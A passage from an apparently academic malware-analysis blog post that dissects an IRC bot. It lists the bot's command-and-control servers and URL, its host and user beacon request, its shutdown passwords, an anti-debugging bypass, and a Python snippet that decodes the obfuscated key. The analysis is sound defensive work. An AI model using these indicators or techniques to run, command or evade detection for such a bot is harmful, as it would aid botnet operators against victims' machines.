</div>
<div style="margin-bottom: 0cm;">
PRIVMSG %s :bingo - botnet shutting
down
</div>
<div style="margin-bottom: 0cm;">
QUIT :Botnet shutdown
</div>
<div style="margin-bottom: 0cm;">
Botnet shutdown
</div>
<div style="margin-bottom: 0cm;">
Botnet has been shutdown - restart bot?
</div>
<div style="margin-bottom: 0cm;">
PRIVMSG %s :so close yet so far...
wrong pw!
</div>
<div style="margin-bottom: 0cm;">
PRIVMSG %s :wrong pw</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<b>#malfor </b>
</div>
<div style="margin-bottom: 0cm;">
irc.efnet.fr
</div>
<div style="margin-bottom: 0cm;">
irc.swepipe.se
</div>
<div style="margin-bottom: 0cm;">
irc.efnet.net
</div>
<div style="margin-bottom: 0cm;">
193.163.220.3
</div>
<div style="margin-bottom: 0cm;">
<b>HCNFJT@</b></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
InternetCloseHandle
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<b>InternetOpenUrlA</b>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
InternetReadFile
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
InternetOpenA</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
If we attempt to manually retrieve the
information from the URL extracted before, we get the name of the irc
channel:</div>
<div style="margin-bottom: 0cm;">
$ wget
http://ghowen.me/malfor/cnc.php?id=673
</div>
<div style="margin-bottom: 0cm;">
$ cat cnc.php\?id\=673
</div>
<div style="margin-bottom: 0cm;">
<b>#malfor-wales</b>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__693_1724568908"></a> 1.3 IDA
Pro</h2>
<div style="margin-bottom: 0cm;">
We can get more information by
statically analysing the file with IDA Pro.</div>
<div style="margin-bottom: 0cm;">
The main function:</div>
<ul>
<li><div style="margin-bottom: 0cm;">
Checks if the bot is still running
(Function renamed as <i>CheckIfRunning</i>).</div>
</li>
<li><div style="margin-bottom: 0cm;">
Checks if any debugger is present
(Using <i><b>IsDebuggerPresent</b></i> function).</div>
</li>
<li><div style="margin-bottom: 0cm;">
Initialises socket functionality
(<i><b>WSAStartup</b></i>).</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNd7W4zroeL_n4epJAKEVdg3JgHCfe4eEKtOMGkrx2pmqJodNxZ7eUXeL_BN-3ijytXTI81ps9yIlY8ej1q9RmVoBDejMyB3_l9F96MgQYvB-5IMHccVxcVswIZCSln1gOAGEMVNnHkU8/s1600/ida1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNd7W4zroeL_n4epJAKEVdg3JgHCfe4eEKtOMGkrx2pmqJodNxZ7eUXeL_BN-3ijytXTI81ps9yIlY8ej1q9RmVoBDejMyB3_l9F96MgQYvB-5IMHccVxcVswIZCSln1gOAGEMVNnHkU8/s1600/ida1.png" height="181" width="320" /></a></div>
<div style="margin-bottom: 0cm;">
<br /></div>
</li>
</ul>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
It then:</div>
<div style="margin-bottom: 0cm;">
</div>
<ul>
<li><div style="margin-bottom: 0cm;">
Gets the hostname.</div>
</li>
<li><div style="margin-bottom: 0cm;">
Get the username of the machine.</div>
</li>
<li><div style="margin-bottom: 0cm;">
Calls a function to reqeust the
channel name from ghowen.me (Function renamed as <i>GetChanName</i>).</div>
</li>
<li><div style="margin-bottom: 0cm;">
Tries to connect to the first IRC
server (out of a list of 4) – <i>irc.efnet.fr</i>.</div>
</li>
<li><div style="margin-bottom: 0cm;">
Executes its main bot
functionality (Function renamed as <i>mainLoop</i>).</div>
</li>
<li><div style="margin-bottom: 0cm;">
If the IRC server cannot be
contacted, Sleeps for a while (30 seconds) then contacts the next
one.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkF-O6imRlAVy6GZSjYq1sGjmTBrvpdl5MurnWziqiE-mEgjjsQnOEIukILXVhEXZtQdDbyGvcepKRos8UUZ2OvuaT7RERPmZ1dpgTcFJjx1jAOuJpLG6zvTKoNtJ8lIs0mmFnY8nSIWI/s1600/ida2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkF-O6imRlAVy6GZSjYq1sGjmTBrvpdl5MurnWziqiE-mEgjjsQnOEIukILXVhEXZtQdDbyGvcepKRos8UUZ2OvuaT7RERPmZ1dpgTcFJjx1jAOuJpLG6zvTKoNtJ8lIs0mmFnY8nSIWI/s1600/ida2.png" height="264" width="320" /></a></div>
</li>
</ul>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
The mainLoop function is not
obfuscated, making it easy to decipher the bot's functionality:</div>
<ul>
<li><div style="margin-bottom: 0cm;">
There is a loop that receives
commands and parses them.</div>
</li>
<li><div style="margin-bottom: 0cm;">
The bot seems to respond to <i><b>hello</b></i><i><span style="font-weight: normal;">,</span></i>
<i><b>ident</b></i> and <b>shutdown</b> commands, case insensitive.
We will verify this later.</div>
</li>
<li><div style="margin-bottom: 0cm;">
There is a block of code which
deals with the bot shutdown.</div>
</li>
<li><div style="margin-bottom: 0cm;">
The blocks before the shutdown
functionality deal with parsing the password typed as the argument
for the shutdown command.</div>
</li>
<li><div style="margin-bottom: 0cm;">
The <i><b>password checking block
</b></i>below (function renamed as <i>verifyPass</i>) uses as input
the string we found previously – '<i><b>HCNFJT@</b></i>'. This is
a measure against static analysis – the string will be modified at
run-time by another function. </div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8TODyZubJ4oZxwf6zPNyj-Ww_V5qvtRjFZex8-U3PT-93zciW5jc9HYX8zzkg9CfXopdVzPiqhRvaF8Q6MrYaOqJxQ6-49wzIGp8YQ344sSgJx1R_W861fzVQybw9vpleDEKBpYr6OzI/s1600/ida-pw-check1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8TODyZubJ4oZxwf6zPNyj-Ww_V5qvtRjFZex8-U3PT-93zciW5jc9HYX8zzkg9CfXopdVzPiqhRvaF8Q6MrYaOqJxQ6-49wzIGp8YQ344sSgJx1R_W861fzVQybw9vpleDEKBpYr6OzI/s1600/ida-pw-check1.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small;"><i>Password check</i></span></td></tr>
</tbody></table>
</li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFYD8Cl_BcOaWBdsYN7Iq2a01gWb3lpedK3kaRTuyLgjiFxUJEaH-tiNvtjeAsHuHK5anu-0uVh-Lm6diKCUv8qKo4zRbZv12zi-uIpfHckwdsMUwFdWMdtq-peRVqHUp9fLbj1YjTC-w/s1600/ida-shutdown.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFYD8Cl_BcOaWBdsYN7Iq2a01gWb3lpedK3kaRTuyLgjiFxUJEaH-tiNvtjeAsHuHK5anu-0uVh-Lm6diKCUv8qKo4zRbZv12zi-uIpfHckwdsMUwFdWMdtq-peRVqHUp9fLbj1YjTC-w/s1600/ida-shutdown.png" height="227" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small;"><i>Shutdown
block code</i></span></td></tr>
</tbody></table>
<br />
<ul>
<li><div style="margin-bottom: 0cm;">
If the password is not the correct
one, another decision block presents 2 different messages. If the
password was equal to the dynamic version of 'HCNFJT@', the message
is: '<span style="font-family: DejaVu Sans Mono, monospace;"><i>so close yet so
far... wrong pw!</i></span>'. Else, the message is simply '<span style="font-family: DejaVu Sans Mono, monospace;"><i>wrong
pw</i></span>'. (Fast forward: that string will become '<i><b>iamborg</b></i>')</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig9m2l2vwCdbiTWurmzAvyzHUNoDRwMKhDlL4UKBhZYvZ4J5-dRYM5u5taO4nmnnV5sCnlJekBVkBfrfp_maO8mVXuBdWZ_UO6fh71sbsTDZgehHdorulX7jQGg7UFmR0vWqCNsTwqye0/s1600/ida-pw-check2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig9m2l2vwCdbiTWurmzAvyzHUNoDRwMKhDlL4UKBhZYvZ4J5-dRYM5u5taO4nmnnV5sCnlJekBVkBfrfp_maO8mVXuBdWZ_UO6fh71sbsTDZgehHdorulX7jQGg7UFmR0vWqCNsTwqye0/s1600/ida-pw-check2.png" height="94" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small;"><i>Second password check</i></span></td></tr>
</tbody></table>
<div style="margin-bottom: 0cm;">
<br /></div>
</li>
</ul>
<div style="margin-bottom: 0cm;">
<br /></div>
<h1 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__589_1335217533"></a> 2 General
dynamic analysis</h1>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__591_1335217533"></a> 2.1 Registry</h2>
I've used the <a href="http://sourceforge.net/projects/regshot/">regshot</a>
tool to compare two snapshots of the registry, as well as the
modified files, before and after running the bot.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbb5dXcpFB2Dg9xvUEhXy4-gjNIfHLl_OfhVmzC5KzzOZTiFCISSDBD7J1wQriu6lZtlNWRAHl2XLaRieN41Wss_M1iDocqh-LgpV99lJ6JZtzDq640aJ60TNaPJDVHcquoo_A8jLiPE0/s1600/regshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbb5dXcpFB2Dg9xvUEhXy4-gjNIfHLl_OfhVmzC5KzzOZTiFCISSDBD7J1wQriu6lZtlNWRAHl2XLaRieN41Wss_M1iDocqh-LgpV99lJ6JZtzDq640aJ60TNaPJDVHcquoo_A8jLiPE0/s1600/regshot.png" /></a></div>
<br />
<br />
No suspicius registry keys are created or modified when running
the bot. However, interestingly we see that <i>index.dat</i> file is
modified. This is a proof that the bot uses IE HTTP access or
download functions, which were also extracted by the strings tool.<br />
<br />
<br />
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__593_1335217533"></a> 2.2 DNS</h2>
<div style="margin-bottom: 0cm;">
Using <a href="http://www.mandiant.com/resources/download/research-tool-mandiant-apatedns">apateDNS</a>
tool we can redirect all DNS requests to a server of our choice.
This method works because the server that the bot connects to are
specified using hostnames (3/4 IRC servers and the initial server
which provides the channel name).</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
We see in the picture below that the
bot tries to resolve the following addresses:</div>
<div style="margin-bottom: 0cm;">
<b>ghowen.me </b>
</div>
<div style="margin-bottom: 0cm;">
<b>irc.efnet.fr </b>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
We know the first
URL is over HTTP from strings output. If we set up a netcat listener
on the machine spcified in the DNS reply field, we can also see the
request:</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">$
<b>sudo nc -lvvvp 80 </b></span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">[sudo]
password for liv: </span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">Listening
on [0.0.0.0] (family 0, port 80) </span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">Connection
from [192.168.1.65] port 80 [tcp/http] accepted (family 2, sport
34051) </span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">GET
/malfor/cnc.php?id=<b>firefly</b>&uid=<b>liv</b> HTTP/1.1 </span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">User-Agent:
AppleMac </span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">Host:
ghowen.me</span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
This is
transmitting the hostname and current user name, and will receive the
channel name (if the address is not redirected).</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfXMMr2ucuahQp3m3WDEOq2fBlMZDeYD9r2Su_YDB8GIDTFpwchqvTrEBR5WOymP0vdxtYXnn-SpPxASO_PREsAteNwxmoEhXh6-b_bZtTV26gTIaOc-31edSBGoAYB0yBjTE5oFv_djI/s1600/apateDNS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfXMMr2ucuahQp3m3WDEOq2fBlMZDeYD9r2Su_YDB8GIDTFpwchqvTrEBR5WOymP0vdxtYXnn-SpPxASO_PREsAteNwxmoEhXh6-b_bZtTV26gTIaOc-31edSBGoAYB0yBjTE5oFv_djI/s1600/apateDNS.png" height="229" width="320" /></a></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__595_1335217533"></a> 2.3 Traffic
capture</h2>
<div style="margin-bottom: 0cm;">
We can use <a href="http://www.wireshark.org/">W</a><a href="http://www.wireshark.org/">ireshark</a>
to view all the network traffic generated by the bot, when connected
to the Internet.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
What we'll see in the capture:</div>
<ul>
<li><div style="margin-bottom: 0cm;">
DNS requests to obtain the IP
addresses of the hosts mentioned above.</div>
</li>
<li><div style="margin-bottom: 0cm;">
A TCP stream with <i>ghowen.me</i>
domain to obtain the channel name.</div>
</li>
<li><div style="margin-bottom: 0cm;">
Another TCP stream representing
the IRC activity. Here we see again the channel name and the
password:</div>
</li>
</ul>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">/j
#malfor-wales bubblegum </span>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__673_1647860627"></a> 2.4 Debugging</h2>
<div style="margin-bottom: 0cm;">
For this we'll use <a href="http://www.ollydbg.de/">OllyDbg</a>.
The unpacked bot executable refuses to run and prsents the message:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQ7s03Ez_mEm1f7w8dRiMx_KNxO_xYTzxbjaxnrGtWX7xtxTGlK88Jr9NIPbkpC9WTkWSkvzYpHrVP5SxeQbLhVRW5838REQD3o2GORcwv9cR2RWrqIlry3NoRGgKjsD8kozP-w2U0Mo/s1600/olly-honest.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQ7s03Ez_mEm1f7w8dRiMx_KNxO_xYTzxbjaxnrGtWX7xtxTGlK88Jr9NIPbkpC9WTkWSkvzYpHrVP5SxeQbLhVRW5838REQD3o2GORcwv9cR2RWrqIlry3NoRGgKjsD8kozP-w2U0Mo/s1600/olly-honest.png" height="178" width="320" /></a></div>
<br />
<div style="margin-bottom: 0cm;">
As we already know, this uses the
<i><b>IsDebuggerPresent</b></i> anti-debugging technique, we'll
bypass it:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAREV8ND-R7AMS4z5V3Lo_1HJ8nZWe_F2ylAF4qqe0rhttxKvz0KD5uypJS1xudxvkwEHzKlgEfN7WzMc3tU-0JqVIV9DdVSoaE7NjV8zv8mWHr3mP6ztunJgeISruxwfzrHg6g84qyi4/s1600/olly-isDeb1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAREV8ND-R7AMS4z5V3Lo_1HJ8nZWe_F2ylAF4qqe0rhttxKvz0KD5uypJS1xudxvkwEHzKlgEfN7WzMc3tU-0JqVIV9DdVSoaE7NjV8zv8mWHr3mP6ztunJgeISruxwfzrHg6g84qyi4/s1600/olly-isDeb1.png" /></a></div>
<ul>
<li><div style="margin-bottom: 0cm;">
The <a href="https://tuts4you.com/download.php?view.1276">P</a><a href="https://tuts4you.com/download.php?view.1276">hant</a><a href="https://tuts4you.com/download.php?view.1276">0</a><a href="https://tuts4you.com/download.php?view.1276">m
</a>plugin is the easiest option, if we check the <i><b>Hide fom PEB</b></i>
option (The <i><b>IsdDebuggerPresent</b></i> function accesses a
member of this structure – <i><b>BeingDebugged</b></i> field):</div>
<div style="margin-bottom: 0cm;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiquz_FQHLU0PWmtaWM8Aqsdj1dvDygv8Zy6d_tEXGcQdmagF5w1MVS1c_40maC4W8gsYSyEbOo7S5dUq3bNr9DzK-Ot1WXT4mAOBQt4qj0LQy8YX4okT0pmuQTyj6PsiqO1gTW7fqffis/s1600/olly-phantom.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiquz_FQHLU0PWmtaWM8Aqsdj1dvDygv8Zy6d_tEXGcQdmagF5w1MVS1c_40maC4W8gsYSyEbOo7S5dUq3bNr9DzK-Ot1WXT4mAOBQt4qj0LQy8YX4okT0pmuQTyj6PsiqO1gTW7fqffis/s1600/olly-phantom.png" height="320" width="193" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small;"><i>Phant0m plugin
options</i></span></td></tr>
</tbody></table>
</div>
<br clear="LEFT" />
</li>
<li><div style="margin-bottom: 0cm;">
The 'IsDebuggerPresent' check is
easy to bypass manualy – we just patch the function to return 0
after we load the executable, before letting it run in the debugger
<i>(This needs to be done every time the program is debugged. The
alternative is to patch the binary).</i></div>
<br clear="LEFT" />
</li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAREV8ND-R7AMS4z5V3Lo_1HJ8nZWe_F2ylAF4qqe0rhttxKvz0KD5uypJS1xudxvkwEHzKlgEfN7WzMc3tU-0JqVIV9DdVSoaE7NjV8zv8mWHr3mP6ztunJgeISruxwfzrHg6g84qyi4/s1600/olly-isDeb1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAREV8ND-R7AMS4z5V3Lo_1HJ8nZWe_F2ylAF4qqe0rhttxKvz0KD5uypJS1xudxvkwEHzKlgEfN7WzMc3tU-0JqVIV9DdVSoaE7NjV8zv8mWHr3mP6ztunJgeISruxwfzrHg6g84qyi4/s1600/olly-isDeb1.png" height="66" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><div style="margin-bottom: 0cm;">
<span dir="LTR" id="Frame6" style="background: #ffffff; border: none; float: left; height: 2.14cm; padding: 0cm; width: 10.35cm;">
</span></div>
<div style="margin-top: 0.21cm;">
<span style="font-size: small;"><i>IsDebuggerPresent -
before patching</i></span></div>
</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLz_3EY5OjZU81X0nQ7OXOWchbrxQJFNS3If08aQaWwnF-ojAsfj7uZ2XXoQyzQpqn7DYrioYD9iMLvnLLtUHiO97G-bYG61XoJE-bcmlAcROrYaJLcF7BorA2LnaA19KlrL1F3wqLIyQ/s1600/olly-isDeb2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLz_3EY5OjZU81X0nQ7OXOWchbrxQJFNS3If08aQaWwnF-ojAsfj7uZ2XXoQyzQpqn7DYrioYD9iMLvnLLtUHiO97G-bYG61XoJE-bcmlAcROrYaJLcF7BorA2LnaA19KlrL1F3wqLIyQ/s1600/olly-isDeb2.png" height="43" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><div style="margin-bottom: 0cm;">
<span dir="LTR" id="Frame7" style="background: #ffffff; border: none; float: left; height: 1.4cm; padding: 0cm; width: 10.35cm;">
</span></div>
<div style="margin-top: 0.21cm;">
<span style="font-size: small;"><i>IsDebuggerPresent -
after patching</i></span></div>
</td></tr>
</tbody></table>
<div style="margin-bottom: 0cm;">
<br /></div>
<span id="goog_1733866977"></span><span id="goog_1733866978"></span><br clear="LEFT" />
<br />
<div style="margin-bottom: 0cm;">
</div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__913_563211136"></a> 2.5 Simulate
the IRC server
</h2>
<div style="margin-bottom: 0cm;">
Using ApateDNS we redirect the queries
for the IP of the IRC server to a controlled machine. We also set up
an IRC server on thet machine (I've used ircd-irc2, no configuration
needed, just installed it and started the service).</div>
<div style="margin-bottom: 0cm;">
If the bot cannot connect to the first
domain and get the channel name, it will connect to #malfor instead
of #malfor-wales. No problems.</div>
<div style="margin-bottom: 0cm;">
The we can use an IRC client to connect
to the local server and interact with the bot in a controlled
environment.
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__915_563211136"></a> 2.6 Interact
with the bot</h2>
<div style="margin-bottom: 0cm;">
We can start the bot in OllyDbg and
interact with it to watch the flow. It responds to the <i><b>hello</b></i>,
<i><b>ident </b></i>and <i><b>shutdown <password></password></b></i>
commands.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
/privmsg uop11204 hello
</div>
<div style="margin-bottom: 0cm;">
<a href="https://www.blogger.com/null" name="__DdeLink__910_563211136"></a>/privmsg
uop11204 ident
</div>
<div style="margin-bottom: 0cm;">
/privmsg uop11204 shutdown mypass</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h2 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__917_563211136"></a> 2.7 Shutdown
</h2>
<h3 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__919_563211136"></a> 2.7.1 First
password</h3>
<div style="margin-bottom: 0cm;">
If we watch the execution flow of the
program for <i><b>shutdown <pass></pass></b></i> command, we see the
following potential password instead of the encoded string:
'<i><b>iamborg</b></i>'.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvw2eKG9zJNViePj56xemWDnPSInXkW-Np5uEFRf70iWXYM1zBhrOpBrpZ2UYewkkOinN0UD1NvH_nyhfpSjQfgzanv5heyvE4ZEU9kYHiToOjOUJzbkRSRJMe9A4iwrLGthzva4_lvIc/s1600/olly-borg.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvw2eKG9zJNViePj56xemWDnPSInXkW-Np5uEFRf70iWXYM1zBhrOpBrpZ2UYewkkOinN0UD1NvH_nyhfpSjQfgzanv5heyvE4ZEU9kYHiToOjOUJzbkRSRJMe9A4iwrLGthzva4_lvIc/s1600/olly-borg.png" height="112" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><i>Potential password: iamborg</i></td></tr>
</tbody></table>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
Unfortunately, if we try it, it's not
the correct one:</div>
<div style="margin-bottom: 0cm;">
“<i>so close yet so far... wrong pw!</i>”</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h3 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__921_563211136"></a> 2.7.2 Passphrase
algorithm</h3>
<div style="margin-bottom: 0cm;">
The string from above is just an input
(a key actually) for the password checking algorithm. This was stored
obfuscated in the binary, as a protection measure against static
analysis. If we trace this string in Ida Pro, we find the function
which initialises it in the main loop (renamed as <i>InitializeKey </i><span style="font-style: normal;">in
the image below</span>).</div>
<div style="margin-bottom: 0cm;">
We can reconstruct the key building
algorithm from the code block below using the following short python
code snippet:</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">#
build keyphrase</span></div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">s
= "HCNFJT@" </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">k
= 0x21 </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">print
"".join([chr(ord(s[i]) ^ (k + i)) for i in xrange(len(s))])
</span>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<i><b>iamborg</b></i></div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaY6iKdatKNDGujZVMK0epjlBcPbKswEutJooaWU0PoKloVZVViQvGOlERGwjlV7aAKlCNTBl3avjLm1rycS8CoCduxw8i2ECBZ56CEZjAb5R4S0j4cYCbbqti-AaTMqwq9CLUD_6ve0g/s1600/ida-init_key.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaY6iKdatKNDGujZVMK0epjlBcPbKswEutJooaWU0PoKloVZVViQvGOlERGwjlV7aAKlCNTBl3avjLm1rycS8CoCduxw8i2ECBZ56CEZjAb5R4S0j4cYCbbqti-AaTMqwq9CLUD_6ve0g/s1600/ida-init_key.png" height="320" width="261" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Initialise obfuscation key</td></tr>
</tbody></table>
<div style="margin-bottom: 0cm;">
<br />
<br /></div>
<div style="margin-bottom: 0cm;">
</div>
<h3 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__923_563211136"></a> 2.7.3 Real
password</h3>
<div style="margin-bottom: 0cm;">
While we're still debugging, we'll also
see the real password as a string, before a comparison it's made:</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-PaSflM1O8bIyEbMVDKP1nwo50pbIW6NK8t8sfrsUSVUjSepid9wxbqq41OhYHje0EapUf52wwcxss8er9g6RN2beDnsVl2dyrrfsm4U6LRx_gbQRKiXIqzpBB7jnUjYw2Q5MaGmYMCY/s1600/ida-real_pw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-PaSflM1O8bIyEbMVDKP1nwo50pbIW6NK8t8sfrsUSVUjSepid9wxbqq41OhYHje0EapUf52wwcxss8er9g6RN2beDnsVl2dyrrfsm4U6LRx_gbQRKiXIqzpBB7jnUjYw2Q5MaGmYMCY/s1600/ida-real_pw.png" height="50" width="400" /></a></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
We observe that it's dependent on two
inputs: the username that's issueing the command and the passphrase
'iamborg'.</div>
<div style="margin-bottom: 0cm;">
In this case, the final password was
observed to be “JQLAYSSWWCE“.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h3 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__925_563211136"></a> 2.7.4 Password
